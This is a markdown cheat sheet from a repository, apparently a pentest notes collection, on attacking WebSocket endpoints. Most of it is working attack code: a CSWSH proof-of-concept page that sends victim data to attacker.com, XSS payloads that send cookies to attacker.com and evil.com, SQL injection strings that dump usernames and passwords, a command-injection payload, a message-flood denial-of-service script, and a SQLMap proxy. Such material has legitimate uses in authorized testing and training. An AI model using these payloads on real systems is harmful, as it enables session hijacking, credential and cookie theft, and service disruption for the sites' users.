Skip to content

Latest commit

 

History

History
431 lines (312 loc) · 7.83 KB

File metadata and controls

431 lines (312 loc) · 7.83 KB

WebSocket Attacks

Table of Contents


Overview

WebSockets provide full-duplex communication channels over a single TCP connection. Unlike HTTP, WebSocket connections persist, making them vulnerable to different attack vectors.

WebSocket Handshake:

GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: http://target.com

Reconnaissance

Quick Check (One-liner)

# Quick WebSocket test
websocat ws://$rhost/ws -1 --text "<script>alert(1)</script>" && curl -i -N -H 'Upgrade: websocket' http://$rhost/ws

Identify WebSocket Endpoints

Browser DevTools

1. Open Network tab
2. Filter by "WS" 
3. Refresh page and interact
4. Observe WebSocket connections

Common WebSocket paths

/ws
/websocket
/socket
/socket.io
/realtime
/chat
/live
/stream

Analyze WebSocket Messages

JavaScript in browser console

// Hook WebSocket constructor
const OrigWebSocket = window.WebSocket;
window.WebSocket = function(url, protocols) {
    console.log('WebSocket URL:', url);
    const ws = new OrigWebSocket(url, protocols);
    ws.addEventListener('message', function(event) {
        console.log('Received:', event.data);
    });
    const originalSend = ws.send.bind(ws);
    ws.send = function(data) {
        console.log('Sent:', data);
        return originalSend(data);
    };
    return ws;
};

Cross-Site WebSocket Hijacking (CSWSH)

If WebSocket endpoint doesn't verify Origin header, attacker can establish connection from malicious site.

Detection

Check if Origin is validated

// From attacker-controlled page
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
    console.log('Connection established from different origin!');
};
ws.onmessage = function(event) {
    console.log('Received:', event.data);
};

Exploitation - Steal Data

<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
var ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Send command to get sensitive data
    ws.send(JSON.stringify({action: "getProfile"}));
};

ws.onmessage = function(event) {
    // Exfiltrate data to attacker server
    fetch('https://attacker.com/log?data=' + encodeURIComponent(event.data));
};
</script>
</body>
</html>

Exploitation - Perform Actions

<script>
var ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Perform action as victim
    ws.send(JSON.stringify({
        action: "transfer",
        to: "attacker",
        amount: 1000
    }));
};
</script>

WebSocket Message Manipulation

Intercept with Burp Suite

  1. Proxy → WebSocket history
  2. Intercept WebSocket messages
  3. Modify and forward

Common Message Formats

JSON

{"action":"message","data":"hello"}

Plain text

MESSAGE:hello

Binary (may need decoding)

Base64 encoded or custom binary protocol

Parameter Tampering

Original message

{"user":"normal_user","action":"view","id":"123"}

Tampered message

{"user":"admin","action":"delete","id":"123"}

SQL Injection via WebSocket

SQLi Detection

Send SQL injection payloads

{"search":"' OR '1'='1"}
{"search":"' UNION SELECT null,null,null--"}
{"id":"1' AND SLEEP(5)--"}

Exploitation

// Boolean-based
{"search":"' OR '1'='1' --"}

// Union-based
{"search":"' UNION SELECT username,password,null FROM users--"}

// Time-based
{"search":"' AND (SELECT SLEEP(5))--"}

// Error-based
{"search":"' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--"}

Using SQLMap

Create WebSocket proxy for SQLMap

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
from websocket import create_connection
import json
from urllib.parse import urlparse, parse_qs

class ProxyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        query = parse_qs(urlparse(self.path).query)
        param = query.get('id', [''])[0]
        
        ws = create_connection("wss://target.com/ws")
        ws.send(json.dumps({"id": param}))
        result = ws.recv()
        ws.close()
        
        self.send_response(200)
        self.end_headers()
        self.wfile.write(result.encode())

HTTPServer(('127.0.0.1', 8080), ProxyHandler).serve_forever()

Run SQLMap against proxy

sqlmap -u "http://127.0.0.1:8080/?id=1" --batch

XSS via WebSocket

Stored XSS via WebSocket Message

Send XSS payload via WebSocket

{"message":"<script>document.location='https://attacker.com/?c='+document.cookie</script>"}
{"message":"<img src=x onerror=alert(document.domain)>"}

DOM-based XSS

If client renders WebSocket data unsafely

// Vulnerable client code
ws.onmessage = function(event) {
    document.getElementById('chat').innerHTML += event.data;
};

// Exploitation
ws.send('<img src=x onerror="fetch(\'https://evil.com/\'+document.cookie)">');

Other Attacks

Denial of Service

Flood WebSocket with messages

var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
    setInterval(function() {
        for(var i = 0; i < 1000; i++) {
            ws.send('A'.repeat(10000));
        }
    }, 100);
};

Authentication Bypass

Token in WebSocket URL

wss://target.com/ws?token=abc123

# Try:
wss://target.com/ws?token=
wss://target.com/ws

Token in first message

# Skip auth message
{"type":"message","data":"test"}  // Instead of auth first

Race Conditions

Rapid message sending

ws.onopen = function() {
    for(var i = 0; i < 100; i++) {
        ws.send(JSON.stringify({action:"buy",item:"limited"}));
    }
};

Testing Tools

OWASP ZAP WebSocket Addon

1. Configure ZAP as proxy
2. Navigate to WebSocket tabs
3. Fuzz/modify messages

wscat (CLI WebSocket client)

# Install
npm install -g wscat

# Connect
wscat -c wss://target.com/ws

# Connect with headers
wscat -c wss://target.com/ws -H "Cookie: session=abc"

# Send message
> {"action":"test"}

websocat

# Install
cargo install websocat

# Connect
websocat wss://target.com/ws

# With headers
websocat -H "Cookie: session=abc" wss://target.com/ws

Python websocket-client

from websocket import create_connection

ws = create_connection("wss://target.com/ws",
    cookie="session=abc",
    origin="https://target.com"
)

ws.send('{"action":"test"}')
result = ws.recv()
print(result)
ws.close()

Quick Reference

CSWSH Check

<script>
var ws = new WebSocket('wss://TARGET/ws');
ws.onopen = () => console.log('Vulnerable to CSWSH!');
ws.onerror = () => console.log('Protected or connection failed');
</script>

Common Payloads

Attack Payload
SQLi {"id":"1' OR '1'='1"}
XSS {"msg":"<script>alert(1)</script>"}
IDOR {"userId":"999"} (change user ID)
Command Injection {"cmd":"test;id"}

Security Headers for Protection

Sec-WebSocket-Origin validation
CSRF tokens in WebSocket handshake
Same-site cookies

📚 See Also

Related Web Attacks